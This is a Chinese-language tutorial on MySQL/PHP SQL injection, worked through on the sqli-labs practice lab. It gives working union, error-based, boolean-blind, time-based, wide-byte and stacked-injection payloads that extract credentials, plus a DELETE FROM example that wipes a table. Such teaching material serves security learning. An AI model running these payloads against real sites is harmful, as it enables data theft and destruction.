一、SQL注入簡介
1.1 什么是SQL注入
在用戶可控制的參數上過濾不嚴或沒有任何限制,使得用戶將傳入的參數(如URL,表單,http header)與SQL語句合並構成一條
SQL語句傳遞給web服務器,最終傳遞給數據庫執行增刪改查等操作,並基於此獲取數據庫數據或提權進行破壞。
1.2 SQL注入產生的原因
SQL Injection:
程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患,用戶可以提交一段數據庫查詢代碼,
根據程序返回的結果,獲得某些他想得知的數據或進行數據庫操作
1.3 SQL注入漏洞可用來做什么
獲取數據庫的數據內容或者提權獲取數據庫權限,有可能也會使web服務器受到威脅
1.4 SQL注入分類(簡述)
1.4.1根據URL中傳參的參數類型分為 ①字符型 ②數字型
數字型: 例如 我們構造兩個payload分別去執行 1. id = 1 and 1 = 1 //執行成功 2. id = 1 and 1 = 2 // 執行失敗 此時后台的query語句大致為 select XXX from XXX where id = $id 而這個傳參中的參數id沒有被單引號包裹,且一般id的值為數字 字符型: 例如 我們構造兩個payload分別去執行 1. id = 1' and '1' = '1 //執行成功 2. id = 1' and '1' = '2 //執行失敗 第一個 ' 用來閉合后台查詢語句中參數$'id' 左面的引號 第二個 ' 用來閉合 右面的引號 此時后台query語句大致為 select XXX from XXX where id = $'id'
1.4.2.根據傳參的方式分為: ①GET型
②POST型
③Cookie型
④其他http header中可利用的參數
二、SQL注入中常用的內置函數
@@hostname //主機名稱
@@datadir //返回數據庫的存儲目錄
@@version_compile_os //查看服務器的操作系統
database() // 查看當前連接的數據庫名稱
user() // 查看當前連接的數據庫用戶
version() //查看數據庫版本
current_user() // 當前登錄的用戶和登錄的主機名
system_user() // 數據庫系統用戶賬戶名稱和登錄的主機名
session_user() //當前會話的用戶名和登錄的主機名
三、常見的幾種SQL注入&&information_schema (MySQL+PHP)
3.0 MySQL數據庫基礎-information_schema數據庫結構
在MySQL數據庫中內置了一個系統數據庫information_schema,結構和MSSQL中的master類似,
記錄了所有存在的數據庫名、數據庫表、表的各個字段。關鍵的三個表為:
schemata:存儲數據庫名的表
tables:存儲數據庫以及數據庫中的表名
columns:存儲數據庫、表、以及表中的字段
3.0.1 SCHEMATA 存儲數據庫名的表
字段 schemata_name中存儲了所有數據庫表的名字
執行:select schema_name from information_schema.schemata;
3.0.2 TABLES 存儲所有表名字的表
字段 table_schema :值為數據庫的名字,表示該表屬於哪個數據庫
字段 table_name:值為數據庫中所存在的表的名字,一般作為查詢的參數
執行 select table_name from information_schema.tables where table_schema='security';
查詢security數據庫中所有的表名
3.0.3 COLUMNS
字段 table_schema : 值為數據庫的名字,表示該字段屬於哪個數據庫
字段 table_name:值為表的名字,表示該字段屬於哪個表
字段 column_name:值為字段的名字,一般作為查詢參數
執行:select column_name from information_schema.columns where table_name='users' and table_schema='security';
3.0.4 小結&&常用套路
select * from information_schema.schemata; //爆出數據庫(也可用schema_name替換*) select table_name from information_schema.tables where table_schema=’dvwa’;//爆出指定數據庫dvwa的所有表名 select column_name from information_schama.columns where table_name=’users’ and table_schema=’security’;// 爆出security數據庫的表users的所有字段名 select (user,password) from security.users; //爆出security數據庫中用戶和密碼
3.1 基於回顯的union select聯合查詢注入(MySQL+PHP)
3.1.0 聯合查詢也是基於上面提到的information_schema數據庫(僅限於MySQL數據庫)來爆表爆列爆字段
其實不光是聯合查詢,所有的基於MySQL數據庫的SQL注入都是基於這個庫。
原理:因為后台查詢語句基本為 select XXX from 表 where id = $id 類似於這個樣子,
而union可以合並select從而實現查詢多個結果。
3.1.1 聯合注入流程
1.判斷注入點(URL、表單、cookie、ua等)
2.判斷是整型還是字符型
3.判斷查詢列數(order by)
4.判斷字段顯示位 (?id=0 union select 1,2,3,4,5 # )
5.獲取所有數據庫名
6.獲取數據庫所有表名
7.獲取字段名
8.獲取數據
3.1.2 注入實例
這里博主就用sqli-labs 的Less 1 來舉例了
0x01:首先通過?id=1(正常回顯) 和 ?id=1'(報錯)確定是字符型注入,參數被 ' 包裹
0x02:用order by確定字段數, 一般執行 :
?id=1' and 1=1 order by n --+ //當頁面報錯 Unkwon columns時 即可確定字段數為n-1
ps:這里要用order by是因為我們后面要用union select,而官方文檔中 union使用時必須
確保union 后面select的字段要和前面的字段的數量一致,所以必須要先確定字段數。
0x03:判斷字段回顯位置 payload:
?id=0' union select 1,2,3 --+ //判斷出有幾個字段之后這里判斷字段的回顯位置,Less-1里只有2,3位回顯
ps:這里id值為0其實是想找一個不存在的值使第一個select查詢不到結果(在后台的sql語句為:
$sql="SELECT * FROM users WHERE id='0' union select 1,2,3 --+' LIMIT 0,1";),這樣才
會使后面union select的語句執行結果回顯到頁面,但是在命令行中即使是用存在的id值也可
返回這兩句select的結果。當然不一定用0 什么9999或者 and 1=2都可,只要讓第一個select邏輯出錯即可。
0x04:判斷出2,3位可回顯查詢結果之后就類似於套模板了
?id=0' union select 1,2,database() --+ //獲取當前數據庫 ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ //獲取當前數據庫的所有表 ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ //獲取當前數據庫的users表中的所有字段名稱 ?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from users --+ //獲取users表中username和password字段的所有值並將兩個字段的值中間用 - 分隔開后打印在一行中回顯
ps:關於concat() ,concat_ws(),group_concat()
concat():用於無分隔符的串聯查詢多個字段的結果
concat_ws():用於有分隔符的串聯查詢多個字段的結果
group_concat():用於將多行結果合並到一行顯示
3.2 報錯注入
3.2.0 報錯注入
報錯注入也是基於有回顯錯誤信息的一種,只不過構造的payload一般是基於特定函數,根據函數的規則使其報錯
並利用這個報錯的回顯特點,讓報錯的內容為我們想要獲取的數據庫內容。報錯注入的函數有很多,下面只詳細
解讀3個最常用的。
3.2.1 報錯注入——floor(rand(0)*2)
下面是一個基於floor()函數的報錯注入例子
select count(*),(concat(floor(rand(0)*2),(select database())))x from user group by x;
0x01: count(*)函數:返回表中的記錄數
0x02: rand()和rand(0) 函數
rand()函數可以生成一個0-1之間的隨機數,每次生成的數都是隨機的,而rand(0)因為有了0這個隨機數種子
使得它每次生成的隨機數都是一樣的,也就是所謂的偽隨機。(可以結合我下面的例圖理解)
兩次使用rand()生成的值:可以看到左圖和右圖的值是不一樣的
兩次使用rand(0)生成的值: 可以看到左圖和右圖生成的數是一樣的
0x03 floor函數
floor函數的作用是返回小於等於該值的最大整數,也就是所謂的向下取整,只保留整數部分。
0x04 group by 關鍵字
group by 就是對數據進行分組,相同的分為一組
結合我們之前的payload中有這么一段 :floor(rand(0)*2)
rand(0)因為可以固定的產生一個隨機數,但是隨機數是0-1之間的,如果用floor進行向下取整的話每一次都是0,那么就
達不到我們的目的了,所以需要*2。
報錯的原理:
這里我就簡述一下,大家如果看不太懂可以看我分享的鏈接,這位朋友講的很清楚,我下面也會附一個例子大家結合起來看。
在執行 select count(*),(concat(floor(rand(0)*2),(select database())))x from users group by x; 時數據庫會建立一個虛擬表(空)
,進行查詢和插入的操作,當它在執行 floor(rand(0)*2) 時比如生成的隨機數為1,但是發現虛擬表中並無1這個key,所以第二次
執行 floor(rand(0)*2) 並將生成的隨機數1(或0)插入,第三次執行 floor(rand(0)*2) 到結果為1時發現有1這個key,執行count(*)+1
之后繼續查詢第四次執行 floor(rand(0)*2) 此時生成的隨機數為0 ,發現無這個key,又要進行插入操作,之后第五次執行floor(rand(0)*2)
准備插入0這個key的記錄,結果生成的是1但是前面已經有key為1的記錄了,所以就會報錯。
舉例:sqli-labs Less-5 payload:
?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select database())))x from users group by x --+ //獲取當前連接的數據庫 ?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))x from users group by x --+ //獲取第一個表 ?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))x from users group by x --+ //獲取第一個列 ?id=1' union select 1,count(*), (concat(floor(rand(0)*2),0x7e,(select password from users limit 0,1)))x from users group by x --+//獲取字段內容
3.2.2報錯注入——updatexml()
0x01 updatexml(XML_document, XPath_string, new_value)
updatexml這個函數作用在於查找(XML_document文檔中符合條件XPath_string的值並用new_value代替
由於updatexml的第二個參數需要Xpath格式的字符串,而我們輸入的是普通字符串且以~開頭的內容不是
xml格式的語法,concat()函數為字符串連接函數也不符合規則,但是會將括號內的執行結果以錯誤的形式
報出,這樣就可以實現報錯注入了。
此函數第二個參數XPath_string參數可為sql語句,可自行構造sql語句進行注入。
0x02 還是基於sqli-labs Less-5的payload
?id=1' and updatexml(1,concat('~',(select database()),'~'),3) --+ //獲取當前連接的數據庫 ?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) --+ //獲取表 ?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'),3) --+// 獲取字段 ?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1),0x7e),3) --+ //獲取第一組字段內容
3.2.3 報錯注入——extractvalue()
上面的updatexml是修改的函數,而這個函數是查詢的函數。
函數解釋:
extractvalue():從目標XML中返回包含所查詢值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一個參數:XML_document是String格式,為XML文檔對象的名稱
第二個參數:XPath_string (Xpath格式的字符串)
concat:返回結果為連接參數產生的字符串。
注入原理:這個和updatexml原理是一樣的,都是因為在XPath_string格式哪里,我們輸入的是普通的
string所以會出現報錯 。此函數第二個參數XPath_string處可為sql語句,可自行構造sql語句
進行注入。
下面還是以sqli-labs Less-5 舉例 並附上payload,大家可以自己去體會一下。
?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+ //獲取當前連接的數據庫 ?id=1' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+ //獲取表 ?id=1' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) --+ // 獲取字段 ?id=1' and extractvalue(null,concat(0x7e,(select group_concat(concat_ws('-',username,password)) from users),0x7e)) --+ //獲取字段內容(這里有字符數量限制只能列出幾組數據,可以參考上面updatexml中的payload按位檢索數據等操作)
3.3 布爾盲注
3.1.0 布爾盲注原理
盲注的意思其實就是頁面沒有回顯信息,比如我們找到了注入點卻發現頁面不會返回sql語句執行的結果,
因此不能再用union select的那種正常可以返回查詢結果的SQL注入,而布爾盲注則需要構造邏輯判斷
並根據頁面的狀態(true or false)判斷我們此次的payload是否執行成功或錯誤,之后根據內容猜解數據庫信息。
布爾盲注一般需要構造邏輯判斷,而大部分的邏輯判斷都是去判斷字符串的某一個字符對照ascii表的數值
並根據true or false 和ascii表 猜解出我們取出來做邏輯判斷的字符具體是哪一個字母或者其他字符等。
比如下面這個例子
//還是Less 5的payload ?id=1' and ascii(substr((select database()),1,1))>110 --+ //判斷select database()語句返回的結果的字符串的第1個字符 是否大於ascii中110對應的字符 是的話頁面會有you are in.........的提示 不是的話無顯示
3.1.1 布爾盲注中常用的函數
常用的截斷函數:substr(str, pos, len) | mid(str, pos, len) | Left ( string, n )
0x01:substr(str, pos, len)
從start位開始截取string字符串的length長度。string參數處可以為SQL語句,注意如果沒有設置length的值
會返回從pos位置開始剩下所有的字符
例子:substr(database(),1,1)>'a' //判斷database()反回的數據庫名字的第1個字符是否在ascii表中大於小寫字母a
substr(database(),2,1)>'a' //判斷database()反回的數據庫名字的第2個字符是否在ascii表中大於小寫字母a
0x02:mid(str, pos, len)
用法參照上面的substr() ,是一樣的。
0x03:left(string,n)
作用:返回string字符串從左往右的前n個字符
例子:left(database(),1)>'a' //判斷database()返回的數據庫名字的從左數第1個字符是否在ascii表中大於小寫字母a
left(database(),2)>'aa' //判斷database()返回的數據庫名字的從左數前2個字符是否在ascii表中大於字符串aa
其他函數:ascii() length()
0x01:ascii()函數
作用:可以將括號內的字符串轉換為ascii表中對應的十進制的ascii值。
常常ascii函數會和截斷函數一起使用構造邏輯判斷,並根據枚舉法和二分法快速猜解數據庫內容和信息等。
0x02:length()函數
作用:返回字符串長度
例子:length(database()) //返回當前連接的數據庫名稱長度
0x03 limit 關鍵字
格式: limit i,j
0x01 i:查詢結果的索引值,默認從0開始,如果為0則可省略i
0x02 j : 查詢結果返回的數量
例子:select username from users limit 10 ; 查詢users表中前10個username(索引是0-9,查詢的就是第1-10個記錄)
select username from users limit 1,2 ; 查詢users表中2個記錄,索引為1-2 也就是第2和第3個記錄
下面還是拿 Less 5舉例
布爾盲注 ?id=1' and length(database())>1 --+ ?id=1' and length(database())<10 --+ ?id=1' and length(database())=8 --+ //猜解當前連接數據庫名稱長度 ?id=1' and ascii(substr((select database()),1,1))>100 --+ ?id=1' and substr((select database()),1,1)>'a' --+ ?id=1' and ascii(substr((select database()),1,1))=115 --+ // 猜解當前連接數據庫名稱第1個字符為s ,后續猜解同理 。mid函數和此原理一樣 ?id=1' and left((select database()),2)='se'%20 --+ ?id=1' and left((select database()),8)='security'%20 --+ //當 ' 沒被過濾時可以用left 逐位猜解 ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'%20 --+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),6)='emails'%20 --+ ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ //后面payload自行構造 和此同理 獲取security數據庫中的第一個表的第一個字符 e ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 --+ //獲取users中第一個字段的第一個字符 i ?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+ //獲取第一個username的第一個字符 D
3.4 延時注入
3.4.0 基於時間型的SQL盲注
當一個web程序經過我們的布爾盲注時發現它並不存在true和false兩種不同的頁面,這時
布爾盲注就不能起到效果了,此時就要采用基於時間型的盲注。
3.4.1 延時注入常用的函數
0x01 :if(a,b,c)函數
作用:如果a執行結果為真執行b,否則執行c
0x02:sleep(seconds)函數
作用:延遲若干秒
條件:SQL語句的執行結果存在數據記錄才會延遲指定的秒數,如果SQL語句查詢結果為空
則不會延遲且執行后返回結果為0.
例子:分別執行下面兩條語句
select username from users where id=1 and if(ascii(mid(database(),1,1))>1,sleep(5),1) ; select username from users where id=1 and if(ascii(mid(database(),1,1))>1000,sleep(5),1) ;
可以看到第一句因為條件 ascii(mid(database(),1,1))>1 成立,所以延遲5s,
第二句不成立則並沒有進行延遲,所以可以根據頁面的響應時間判斷我們的
邏輯條件語句是否正確進而猜測數據庫的內容信息。
3.5 寬字節注入
3.5.0 寬字節注入前瞻——編碼
編碼:對字符賦予一個數值來確定這個字符在字符集的位置。(可以看ascii碼表結合理解)
常見的字符集:①ascii字符集(包含全部英文字母和標點符號)
②GB2312字符集(中文字符集)
③Unicode字符集(通用多八位編碼字符集)
常見編碼:①Ascii ②GB2312 ③GBK ④utf-8 ⑤unicode
GBK:文字編碼均用2個字節表示(無論中英文,中文最高位為1)
utf-8:英文編碼用8位(1個字節),中文編碼用24位(3個字節)
3.5.1 寬字節注入
寬字節注入主要應用於輸入的特定字符:比如 ' 被添加了 / 變為 /' 被轉義了。比如addslashes()函數
此函數就可在預定義的字符前添加 / 。 所以為了想辦法讓我們payload中的 ' 不被轉義,需要繞過/
0x01 原理:MySQL在使用GBK編碼時會認為2個字符為1個漢字(前1個字符的ascii碼需要大於128)
比如%df%5c就是1個漢字。
0x02 常用思路:
1.吃掉/ :當我們輸入的%27被轉義為%5c%27時可以在%5c前加上%df,構造成%df%5c%27,
而MySQL會認為%df%5c為1個漢字從而吃掉了轉義單引號的反斜杠使得 ' 逃逸出來。
2.轉義/ :利用%e5%5c%27。當輸入%e5%5c%27會變為%e5%5c%5c%5c%27 此時%e5%5c
構成1個漢字,%5c%5c即//,前一個/轉義了后一個/從而使最后的 ' 逃逸出來
?id=0%df' union select 1,2,database() --+ //Less 32的payload
3.6 堆疊注入
3.6.0 原理介紹 :
簡單來說,堆疊注入就是將2條sql語句並入一條語句中執行,兩條語句中間用;隔開
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合並在一起,兩者之間有什么區別么?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句為:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢信息,第二條則將整個表進行刪除。
但是這種注入方式並不是十分的完美的。在我們的web系統中,因為代碼通常只返回一個查詢結果,因此,堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端界面是無法看到返回結果的。
3.6.1 堆疊注入實例(MySQL+php)
以 sqli-labs Less-38為例
payload: ?id=1' ; insert into users(id,username,password)values('100','lqs','lqs')--+